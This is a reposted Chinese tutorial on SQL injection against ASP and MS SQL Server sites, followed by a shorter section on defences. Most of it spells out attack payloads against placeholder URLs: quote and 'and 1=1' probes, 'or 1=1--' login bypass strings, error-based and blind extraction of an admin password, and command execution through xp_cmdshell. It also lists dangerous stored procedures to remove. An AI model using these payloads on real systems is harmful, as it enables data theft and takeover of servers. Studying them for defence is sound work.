English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> SQL注入简单行为 VER1

 

SQL注入简单行为 VER1

威盾防火墙 2014-12-30

 

writer: demonalex
email: demonalex[at]dark2s.org


附录:该文的题材是针对目前比较流行的ASP+MS SQL SERVER做后台的网站而进行的测试。
PS:最近烂文写多了,发现有不少错误之处,请各位老大多多指教:)

 

SQL注入的基本步骤:

找到SQL注入切入点(某个URL,某个不被过滤的字符等等)-》注入渗透行为-》渗透成功
================================================================================================================
---------------------------------------------------------------------------------------------------------
如何找SQL注入切入点。

通常的方法是加入特殊字符/特殊字符串,如:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34"
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34;
等,看看能否正常显示来探听此URL有否SQL注入漏洞与未被过滤的字符是什么。如果加上了单引号
后出现:
“Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。”
那就有“戏”了...又或者是输入:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=1

http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=2
后分别看看否能正常显示(若1=1能,而1=2不能则证明该网站有SQL注入漏洞了)。

还有的方法就是直接使用一些MS SQL SERVER的扩展特性来观察一下该网站有否该漏洞了,如:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=(select @@version)
若像小神现在“身处”的网站可以返回:
“将 nvarchar 值 Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05
Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0
(Build 2195: Service Pack 4) 转换为数据类型为 int 的列时发生语法错误。”
就......:)

---------------------------------------------------------------------------------------------------------
找到SQL漏洞及其切入点后如何渗透该机器。

渗透的方法是层出不穷的,但我总结起来就是那么三种(这里只是针对ASP+MS SQL SERVER):逃过
认证系统、注入查询得到数据库信息、通过SQL SERVER的扩展存储过程控制主机。


逃过认证系统:

关于它的原理请查阅isno写的《SQL Injection攻击技术》一文。这种攻击方式是最简单的,它的渗
透步骤就是先找到认证的“输入区”,在“输入区”里加入如:
--
"--
又或者
or 1=1--
" or 1=1--
or a=a
" or "a"=a
等等一系列的字符串就能逃避认证程序的认证了。


注入查询得到数据库信息:

这种方法是最烦琐的(也是最有趣的),使用它的前提是你必须有一定的SQL语言基础。
首先我们需要得到表名与列名:这里我使用的方法是用“having 1=1--”字符串导致系统弹出数据
库错误从而得到表名与列名:
asp?PC_ID=34">http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 having 1=1--
再通过group by拿到其他的列名:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 group by 已知表名.已知列名,已知
表名.已知列名2 having 1=1--
一直下去就可以...

第二种方法:穷举。这种方法比较简单,而且适用于所有支持SQL语言的数据库(access、mysql等
等)。举个例子吧:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 0<(select count(*) from 表名)
这个语句本身就符合通用SQL语言的语法了。看看后面的语句:
0<(select count(*) from 表名)
意思是:“在某某表名中所有记录的总数大于0”时,这个语句就成立了。若这个语句成立的话,
再通过它与“http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34”并成立的关系,页面就
能返回正常的页面了。通过这样就能判定某某表是否存在了(除非这个表是存在而又没有记录的的
情况下,这种办法失效)。

得到表名的第三种方法是:
通过MS SQL SERVER默认的内置系统表得到当前数据库中的表名。
系统表information_schema.tables是一个存贮当前数据库中的表名的表,关于通过它进行查询的
方法请查阅:
http://demonalex.nease.net/sql_injection/walkthrough.txt
《SQL Injection技巧的演练》一文中的:
“6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?”
“6.1如何找出表中的列名?”
这两个段落。
(应该还有其他方法可以得到表名与列名的吧?请各位老大告知)。

高手们通常会在下面的测试中尝试探测出数据的类型的,不过小神为了简单起见,这里就不谈了,
还是那句话,不懂就看看《SQL Injection攻击技术》一文吧。

现在假设我们已经知道了表名与列名,剩下的问题就是找值的问题了。
方法可能有很多吧,不过我就比较喜欢用“and 1=”来判断:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=(select top 行数 count(*) f
rom 表名 where len(列名)>0)
上面的“行数”是向上数的第几行;“表名”是我们原来找到的表名;“列名”是我们原来找到的
列名。通过上面的逻辑运算方式我们可以找到某表中某列的某行的某值的字符串位数。是时候开始
探测某个数据的内容了(如密码的内容:P):
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=(select top 行数 count(*) f
rom 表名 where left(列名,向左数起的前多少个数值)=某个字符或者字符串)
举个例子:
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=(select top 1 count(*) from
admin where left(password,5)=admin)
上面的例子中我们就可以得到表名admin下第一行中password一列所对应的数据向左数起的前五个数
值是admin。当然这种方法是比较灵活的,因此小神不打算在这篇文章中尽可能完全地“记载”这种
渗透的主要“调用方式”(其实这种渗透方式才是SQL注入技巧的精粹所在)。


通过SQL SERVER的扩展存储过程控制主机:

通过SQL SERVER的扩展存储过程控制主机的原理其实就是使用SQL SERVER通过的已经在SQL SERVER
上注册好的调用外加DLL(动态链接库)的PROCESS(过程)而运行的语句来达到控制主机的目的。
其中最常用的扩展存储过程就是xp_cmdshell:
首先攻击使用者会发现脚本中没有过滤SQL语言的语句结束符“;”,然后他们就会通过如下的POST
行为向被攻击主机发起攻击。
http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34;exec master..xpcmdshell ping 127.
0.0.1
---------------------------------------------------------------------------------------------------------
如何防止与防御SQL注入。

在这里小神总结了两个解决方案:手工防御、外加防御。

手工防御主要是指利用手工修改程序与脚本运行环境来达到清除漏洞的目的。ISNO在他的文章中使
用了替换函数对脚本吸入的变量进行替换形式的修改。
input = replace(input,"","")
除了单引号外,其他的注入符号也可以如此类推。至于脚本运行环境的修改主要是指删除一些容易
被骇客利用的扩展存储过程,如:
xp_cmdshell
xp_reg*
xp_servicecontrol
sp_oa*
xp_startmail
xp_sendmail
sp_makewebtask
等等。还有就是在调用数据库时最好把数据库的OWNER改为非sa用户,这样就可以防止骇客在得知S
QL注入后使用sp_addextendedproc进行扩展过程恢复了。

外加防御的方式就是配合其他设施(硬件/软件)对SQL注入的“根源”(客户端的POST内容)进行
过滤。无论是硬件还是软件它们的原理都是一样的,对POST的数据进行解码,一直到应用层,对应
用层的数据进行关键字过滤,最后进行相关的操作。在硬件的实施上,这样的防御行为主要是交给
过滤网关与IDS实现的。不过毕竟能用上这样的硬件设备的人还是不多的,所以我们选取软件作为
我们主要的“防御武器”,综合了一下最近的软件安全产品,最后还是推崇EEYE公司的SecureIIS
(迟些我会就它写篇介绍文地:)。


相关内容: 最新内容:
SQL注入防御方法-程序员篇[2014-12-30]
网页防SQL注入基本方法大全[2014-12-30]
部署深信服下一代防火墙防御SQL注入攻击[2014-12-29]
WEB应用的SQL注入攻击和防范技术研究[2014-12-29]
Java应用中的SQL注入攻击和防范[2014-12-29]
sql注入——避开过滤[2014-12-29]
攻防实战:注入漏洞的利用和防范[2014-12-30]
网页防篡改软件必不可少 为网站提供实时保[2014-12-30]
Win 2003 硬盘安全设置,针对ASP类网站[2014-12-30]
网站被入侵后需做的检测[2014-12-30]
SQL注入防御方法-程序员篇[2014-12-30]
渗透技巧之SSH篇[2014-12-30]